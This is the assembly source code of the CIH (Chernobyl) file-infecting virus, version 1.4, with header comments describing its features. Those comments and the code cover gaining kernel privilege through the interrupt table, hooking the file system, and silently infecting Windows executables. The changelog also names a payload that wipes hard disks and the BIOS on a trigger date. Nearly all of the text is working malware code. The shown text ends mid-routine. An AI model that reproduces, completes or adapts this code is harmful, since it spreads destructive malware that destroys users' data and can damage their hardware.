|
;****************************************************************************
; * The Virus Program Information *
; ****************************************************************************
; * *
; * Designer : CIH Source : TTIT of TATUNG in Taiwan *
; * Create Date : 04/26/1998 Now Version : 1.4 *
; * Modification Time : 05/31/1998 *
; * *
; * Turbo Assembler Version 4.0 : tasm /m cih *
; * Turbo Link Version 3.01 : tlink /3 /t cih, cih.exe *
; * *
: *==========================================================================*
: * Modification History *
; *==========================================================================*
; * v1.0 1. Create the Virus Program. *
; * 2. The Virus Modifies IDT to Get Ring0 Privilege. *
; * 04/26/1998 3. Virus Code doesn't Reload into System. *
; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *
; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. *
; * 6. When System Opens Existing PE File, the File will be *
; * Infected, and the File doesn't be Reinfected. *
; * 7. It is also Infected, even the File is Read-Only. *
; * 8. When the File is Infected, the Modification Date and Time *
; * of the File also don't be Changed. *
; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call *
; * Previous FileSystemApiHook, it will Call the Function *
; * that the IFS Manager Would Normally Call to Implement *
; * this Particular I/O Request. *
; * 10. The Virus Size is only 656 Bytes. *
; *==========================================================================*
; * v1.1 1. Especially, the File that be Infected will not Increase *
; * it's Size... ^__^ *
; * 05/15/1998 2. Hook and Modify Structured Exception Handing. *
; * When Exception Error Occurs, Our OS System should be in *
; * Windows NT. So My Cute Virus will not Continue to Run, *
; * it will Jmup to Original Application to Run. *
; * 3. Use Better Algorithm, Reduce Virus Code Size. *
; * 4. The Virus "Basic" Size is only 796 Bytes. *
; *==========================================================================*
; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... *
; * 2. Modify the Bug of v1.1 *
; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. *
; *==========================================================================*
; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. *
; * So When Open WinZip Self-Extractor ==> Don't Infect it. *
; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. *
; *==========================================================================*
; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. *
; * 2. Change the Date of Killing Computers. *
; * 05/31/1998 3. Modify Virus Version Copyright. *
; * 4. The Virus "Basic" Size is 1019 Bytes. *
; ****************************************************************************
.586P ;586
; ****************************************************************************
; * Original PE Executable File(Don't Modify this Section) *
; ****************************************************************************
OriginalAppEXE SEGMENT
FileHeader:
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
dd 00000000h, VirusSize
OriginalAppEXE ENDS
; ****************************************************************************
; * My Virus Game *
; ****************************************************************************
; *********************************************************
; * Constant Define *
; *********************************************************
TRUE = 1
FALSE = 0
DEBUG = FALSE
MajorVirusVersion = 1
MinorVirusVersion = 4
VirusVersion = MajorVirusVersion*10h+MinorVirusVersion
IF DEBUG ;
FirstKillHardDiskNumber = 81h ;KILL“d:”
HookExceptionNumber = 05h ;pr#5
ELSE
FirstKillHardDiskNumber = 80h ;KILL“c:”
HookExceptionNumber = 03h r#3
ENDIF
FileNameBufferSize = 7fh
; *********************************************************
; *********************************************************
VirusGame SEGMENT
ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame
; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************
MyVirusStart:
push ebp
; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax, fs:[ebx]
call @0
@0:
pop ebx
lea ecx, StopToRunVirusCode-@0[ebx]
push ecx
push eax
; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************
push eax
sidt [esp-02h] ; Get IDT Base Address ?;
pop ebx
add ebx, HookExceptionNumber*08h+04h ; ZF = 0
cli
mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point ?;
lea esi, MyExceptionHook-@1[ecx]
push esi ?;esi
mov [ebx-04h], si
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address
pop esi
; *************************************
; * Generate Exception to Get Ring0 *
; *************************************
int HookExceptionNumber ; GenerateException;
ReturnAddressOfEndException = $
; *************************************
; * Merge All Virus Code Section *
; *************************************
push esi
mov esi, eax ;esi
LoopOfMergeAllVirusCodeSection:
mov ecx, [eax-04h]
rep movsb
sub eax, 08h
mov esi, [eax]
or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection
jmp LoopOfMergeAllVirusCodeSection
QuitLoopOfMergeAllVirusCodeSection:
pop esi
; *************************************
; * Generate Exception Again *
; *************************************
int HookExceptionNumber ; GenerateException Aga
; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************
ReadyRestoreSE:
sti ;开中断
xor ebx, ebx
jmp RestoreSE
; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************
StopToRunVirusCode:
@1 = StopToRunVirusCode
xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]
RestoreSE:
pop dword ptr fs:[ebx]
pop eax
; *************************************
; * Return Original App to Execute *
; *************************************
pop ebp
push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack
ret ; Return to Original App Entry Point
; *********************************************************
; * Ring0 Virus Game Initial Program *
; *********************************************************
MyExceptionHook:
@2 = MyExceptionHook
jz InstallMyFileSystemApiHook
; *************************************
; * Do My Virus Exist in System !? *
; *************************************
mov ecx, dr0
jecxz AllocateSystemMemoryPage
add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException
; *************************************
; * Return to Ring3 Initial Program *
; *************************************
ExitRing0Init:
mov [ebx-04h], bp
shr ebp, 16 ; Restore Exception
mov [ebx+02h], bp
iretd
; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************
AllocateSystemMemoryPage:
mov dr0, ebx ; Set the Mark of My Virus Exist in System
;
push 00000000fh
push ecx
push 0ffffffffh
push ecx ;调用方法ULONG EXTERN _PageAllocate(ULONG nPages, ULONG pType, ULONG VM,
;ULONG AlignMask, ULONG minPhys, ULONG maxPhys, ULONG *PhysAddr,
;ULONG flags);
push ecx
push ecx
push 000000001h
push 000000002h
int 20h ; VMMCALL _PageAllocate;VXD调用
_PageAllocate = $ ;
dd 00010053h ; Use EAX, ECX, EDX, and flags
add esp, 08h*04h ;
xchg edi, eax ; EDI = SystemMemory Start Address
;
lea eax, MyVirusStart-@2[esi] ;eax
iretd ; Return to Ring3 Initial Program ;(看懂一点 RESORE 反回"Merge All Virus Code Section")
; *************************************
; * Install My File System Api Hook *
; *************************************
InstallMyFileSystemApiHook:
lea eax, FileSystemApiHook-@6[edi]
push eax
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $
dd 00400067h ; Use EAX, ECX, EDX, and flags
;在调用后变为call [IFSMgr_InstallFileSystemApiHook]
mov dr0, eax ; Save OldFileSystemApiHook Address
;
pop eax ; EAX = FileSystemApiHook Address
; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx] ;
mov OldInstallFileSystemApiHook-@3[eax], edx ?
; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax ?;
;
cli
jmp ExitRing0Init ?;
; *********************************************************
; * Code Size of Merge Virus Code Section *
; *********************************************************
CodeSizeOfMergeVirusCodeSection = offset $
; *********************************************************
; * IFSMgr_InstallFileSystemApiHook *
; *********************************************************
InstallFileSystemApiHook:
push ebx
call @4
@4:
pop ebx ; mov ebx, offset FileSystemApiHook
add ebx, FileSystemApiHook-@4
push ebx
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ; Use EAX, ECX, EDX, and flags
pop eax
; Call Original IFSMgr_InstallFileSystemApiHook
; to Link Client FileSystemApiHook
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx
push eax
; Call Original IFSMgr_InstallFileSystemApiHook
; to Link My FileSystemApiHook
push ebx
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx
mov dr0, eax ; Adjust OldFileSystemApiHook Address
pop eax
pop ebx
ret
; *********************************************************
; * Static Data *
; *********************************************************
OldInstallFileSystemApiHook dd ?
; *********************************************************
; * IFSMgr_FileSystemHook *
; *********************************************************
; *************************************
; * IFSMgr_FileSystemHook Entry Point *
; *************************************
FileSystemApiHook:
@3 = FileSystemApiHook
pushad
call @5
@5:
pop esi ; mov esi, offset ;e
add esi, VirusGameDataStartAddress-@5
; *************************************
; * Is OnBusy !? *
; *************************************
test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy )
jnz pIFSFunc ; goto pIFSFunc ;
; *************************************
; * Is OpenFile !? *
; *************************************
; if ( NotOpenFile )
; goto prevhook
lea ebx, [esp+20h+04h+04h] ;
;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,int ResourceFlags, int CodePage, pioreq pir)
cmp dword ptr [ebx], 00000024h
jne prevhook
; *************************************
; * Enable OnBusy *
; *************************************
inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy
; *************************************
; * Get FilePath's DriveNumber, *
; * then Set the DriveName to *
; * FileNameBuffer. *
; *************************************
; * Ex. If DriveNumber is 03h, *
; * DriveName is 'C:'. *
; *************************************
; mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6 ;esi指向FileNameBuffer
push esi ;
mov al, [ebx+04h]
cmp al, 0ffh ;
je CallUniToBCSPath
add al, 40h
mov ah, ':'
mov [esi], eax
inc esi
inc esi
; *************************************
; * UniToBCSPath *
; *************************************
; * This Service Converts *
; * a Canonicalized Unicode Pathname *
; * to a Normal Pathname in the *
; * Specified BCS Character Set. *
; *************************************
; UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath, unsigned int maxLength, int charSet)
CallUniToBCSPath:
push 00000000h
push FileNameBufferSize
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
add eax, 04h
push eax ;Uni字符首址
push esi ;BCS字符首址
int 20h ; VXDCall UniToBCSPath
UniToBCSPath = $
dd 00400041h ;
add esp, 04h*04h
; *************************************
; * Is FileName '.EXE' !? *
; *************************************
; cmp [esi+eax-04h], '.EXE'
cmp [esi+eax-04h], 'EXE.'
pop esi
jne DisableOnBusy
IF DEBUG
; *************************************
; * Only for Debug *
; *************************************
; cmp [esi+eax-06h], 'FUCK'
cmp [esi+eax-06h], 'KCUF'
jne DisableOnBusy
ENDIF
; *************************************
; * Is Open Existing File !? *
; *************************************
; if ( NotOpenExistingFile )
; goto DisableOnBusy
cmp word ptr [ebx+18h], 01h
jne DisableOnBusy
; *************************************
; * Get Attributes of the File *
; *************************************
mov ax, 4300h
int 20h ;
IFSMgr_Ring0_FileIO = $
dd 00400032h
jc DisableOnBusy
push ecx
; *************************************
; * Get IFSMgr_Ring0_FileIO Address *
; *************************************
mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi] ;
; *************************************
; * Is Read-Only File !? *
; *************************************
test cl, 01h
jz OpenFile ;
; *************************************
; * Modify Read-Only File to Write *
; *************************************
mov ax, 4301h ;
call edi ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Open File *
; *************************************
OpenFile:
xor eax, eax
mov ah, 0d5h
xor ecx, ecx
xor edx, edx
inc edx
mov ebx, edx
inc ebx ;esi为文件名首址
call edi ; VXDCall IFSMgr_Ring0_FileIO
xchg ebx, eax ; mov ebx, FileHandle
; *************************************
; * Need to Restore *
; * Attributes of the File !? *
; *************************************
pop ecx
pushf
test cl, 01h
jz IsOpenFileOK
; *************************************
; * Restore Attributes of the File *
; *************************************
mov ax, 4301h
call edi
; *************************************
; * Is Open File OK !? *
; *************************************
IsOpenFileOK:
popf
jc DisableOnBusy
; *************************************
; * Open File Already Succeed. ^__^ *
; *************************************
push esi ; Push FileNameBuffer Address to Stack
pushf ; Now CF = 0, Push Flag to Stack
add esi, DataBuffer-@7 ; mov esi, offset DataBuffer
; ***************************
; * Get OffsetToNewHeader *
; ***************************
xor eax, eax
mov ah, 0d6h
; For Doing Minimal VirusCode's Length,
; I Save EAX to EBP.
mov ebp, eax
push 00000004h
pop ecx
push 0000003ch
pop edx
call edi ; VXDCall IFSMgr_Ring0_FileIO
mov edx, [esi]
; ***************************
; * Get 'PE\0' Signature *
; * of ImageFileHeader, and *
; * Infected Mark. *
; ***************************
dec edx
mov eax, ebp
call edi ; VXDCall IFSMgr_Ring0_FileIO
; ***************************
; * Is PE !? *
; ***************************
; * Is the File *
; * Already Infected !? *
; ***************************
; * WinZip Self-Extractor *
; * doesn't Have Infected *
; * Mark Because My Virus *
; * doesn't Infect it. *
; ***************************
; cmp [esi], '\0PE\0'
cmp dword ptr [esi], 00455000h
jne CloseFile
; *************************************
; * The File is ^o^ *
; * PE(Portable Executable) indeed. *
; *************************************
; * The File isn't also Infected. *
; *************************************
; *************************************
; * Start to Infect the File *
; *************************************
; * Registers Use Status Now : *
; * *
; * EAX = 04h *
; * EBX = File Handle *
; * ECX = 04h *
; * EDX = 'PE\0\0' Signature of *
; * ImageFileHeader Pointer's *
; * Former Byte. *
; * ESI = DataBuffer Address ==> @8 *
; * EDI = IFSMgr_Ring0_FileIO Address *
; * EBP = D600h ==> Read Data in File *
; *************************************
; * Stack Dump : *
; * *
; * ESP => ------------------------- *
; * | EFLAG(CF=0) | *
; * ------------------------- *
; * | FileNameBufferPointer | *
; * ------------------------- *
; * | EDI | *
; * ------------------------- *
; * | ESI | *
; * ------------------------- *
; * | EBP | *
; * ------------------------- *
; * | ESP | *
; * ------------------------- *
; * | EBX | *
; * ------------------------- *
; * | EDX | *
; * ------------------------- *
; * | ECX | *
; * ------------------------- *
; * | EAX | *
; * ------------------------- *
; * | Return Address | *
; * ------------------------- *
; *************************************
push ebx ; Save File Handle
push 00h ; Set VirusCodeSectionTableEndMark
; ***************************
; * Let's Set the *
; * Virus' Infected Mark *
; ***************************
push 01h ; Size
push edx ; Pointer of File
push edi ; Address of Buffer
; ***************************
; * Save ESP Register *
; ***************************
mov dr1, esp
; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Only First Set Size ) *
; ***************************
push eax ; Size
; ***************************
; * Let's Read *
; * Image Header in File *
; ***************************
mov eax, ebp
mov cl, SizeOfImageHeaderToRead
add edx, 07h ; Move EDX to NumberOfSections
call edi ; VXDCall IFSMgr_Ring0_FileIO
; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Set Pointer of File, *
; * Address of Buffer ) *
; ***************************
lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ; Pointer of File
lea eax, (NewAddressOfEntryPoint-@8)[esi]
push eax ; Address of Buffer
; ***************************
; * Move EDX to the Start *
; * of SectionTable in File *
; ***************************
movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx+12h]
; ***************************
; * Let's Get *
; * Total Size of Sections *
; ***************************
mov al, SizeOfScetionTable
; I Assume NumberOfSections <= 0ffh
mov cl, (NumberOfSections-@8)[esi]
mul cl
; ***************************
; * Let's Set Section Table *
; ***************************
; Move ESI to the Start of SectionTable
lea esi, (StartOfSectionTable-@8)[esi]
push eax ; Size
push edx ; Pointer of File
push esi ; Address of Buffer
; ***************************
; * The Code Size of Merge *
; * Virus Code Section and *
; * Total Size of Virus *
; * Code Section Table Must *
; * be Small or Equal the *
; * Unused Space Size of *
; * Following Section Table *
; ***************************
inc ecx
push ecx ; Save NumberOfSections+1
shl ecx, 03h ;*8
push ecx ; Save TotalSizeOfVirusCodeSectionTable
add ecx, eax
add ecx, edx
sub ecx, (SizeOfHeaders-@9)[esi]
not ecx
inc ecx
; Save My Virus First Section Code
; Size of Following Section Table...
; ( Not Include the Size of Virus Code Section Table )
push ecx
xchg ecx, eax ; ECX = Size of Section Table
; Save Original Address of Entry Point
mov eax, (AddressOfEntryPoint-@9)[esi]
add eax, (ImageBase-@9)[esi]
mov (OriginalAddressOfEntryPoint-@9)[esi], eax
cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection
jl OnlySetInfectedMark
; ***************************
; * Read All Section Tables *
; ***************************
mov eax, ebp
call edi ; VXDCall IFSMgr_Ring0_FileIO
; ***************************
; * Full Modify the Bug : *
; * WinZip Self-Extractor *
; * Occurs Error... *
; ***************************
; * So When User Opens *
; * WinZip Self-Extractor, *
; * Virus Doesn't Infect it.*
; ***************************
; * First, Virus Gets the *
; * PointerToRawData in the *
; * Second Section Table, *
; * Reads the Section Data, *
; * and Tests the String of *
; * 'WinZip(R)'...... *
; ***************************
xchg eax, ebp
push 00000004h
pop ecx ;读4字节
push edx
mov edx, (SizeOfScetionTable+PointerToRawData-@9)[ebx]
add edx, 12h ;加10h+2h(10h处为"WinZip....")
call edi ; VXDCall IFSMgr_Ring0_FileIO
; cmp [esi], 'nZip'
cmp dword ptr [esi], 'piZn'
je NotSetInfectedMark
pop edx
; ***************************
; * Let's Set Total Virus *
; * Code Section Table *
; ***************************
; EBX = My Virus First Section Code
; Size of Following Section Table
pop ebx ;
pop edi ; EDI = TotalSizeOfVirusCodeSectionTabl
pop ecx ; ECX = NumberOfSections+1
push edi ; Size
add edx, ebp
push edx ; Pointer of File
add ebp, esi
push ebp ; Address of Buffer
; ***************************
; * Set the First Virus *
; * Code Section Size in *
; * VirusCodeSectionTable *
; ***************************
lea eax, [ebp+edi-04h]
mov [eax], ebx
; ***************************
; * Let's Set My Virus *
; * First Section Code *
; ***************************
push ebx ; Size
add edx, edi
push edx ; Pointer of File
lea edi, (MyVirusStart-@9)[esi]
push edi ; Address of Buffer
; ***************************
; * Let's Modify the *
; * AddressOfEntryPoint to *
; * My Virus Entry Point *
; ***************************
mov (NewAddressOfEntryPoint-@9)[esi], edx
; ***************************
; * Setup Initial Data *
; ***************************
lea edx, [esi-SizeOfScetionTable]
mov ebp, offset VirusSize
jmp StartToWriteCodeToSections
; ***************************
; * Write Code to Sections *
; ***************************
LoopOfWriteCodeToSections:
add edx, SizeOfScetionTable ;
mov ebx, (SizeOfRawData-@9)[edx]
sub ebx, (VirtualSize-@9)[edx]
jbe EndOfWriteCodeToSections
push ebx ; Size
sub eax, 08h
mov [eax], ebx
mov ebx, (PointerToRawData-@9)[edx]
add ebx, (VirtualSize-@9)[edx]
push ebx ; Pointer of File
push edi ; Address of Buffer
mov ebx, (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9)[edx]
add ebx, (ImageBase-@9)[esi]
mov [eax+4], ebx
mov ebx, [eax]
add (VirtualSize-@9)[edx], ebx
; Section contains initialized data ==> 00000040h
; Section can be Read. ==> 40000000h
or (Characteristics-@9)[edx], 40000040h
StartToWriteCodeToSections:
sub ebp, ebx
jbe SetVirusCodeSectionTableEndMark
add edi, ebx ; Move Address of Buffer
EndOfWriteCodeToSections:
loop LoopOfWriteCodeToSections
; ***************************
; * Only Set Infected Mark *
; ***************************
OnlySetInfectedMark:
mov esp, dr1
jmp WriteVirusCodeToFile
; ***************************
; * Not Set Infected Mark *
; ***************************
NotSetInfectedMark:
add esp, 3ch
jmp CloseFile
; ***************************
; * Set Virus Code *
; * Section Table End Mark *
; ***************************
SetVirusCodeSectionTableEndMark:
; Adjust Size of Virus Section Code to Correct Value
add [eax], ebp
add [esp+08h], ebp
; Set End Mark
xor ebx, ebx
mov [eax-04h], ebx
; ***************************
; * When VirusGame Calls *
; * VxDCall, VMM Modifies *
; * the 'int 20h' and the *
; * 'Service Identifier' *
; * to 'Call [XXXXXXXX]'. *
; ***************************
; * Before Writing My Virus *
; * to File, I Must Restore *
; * them First. ^__^ *
; ***************************
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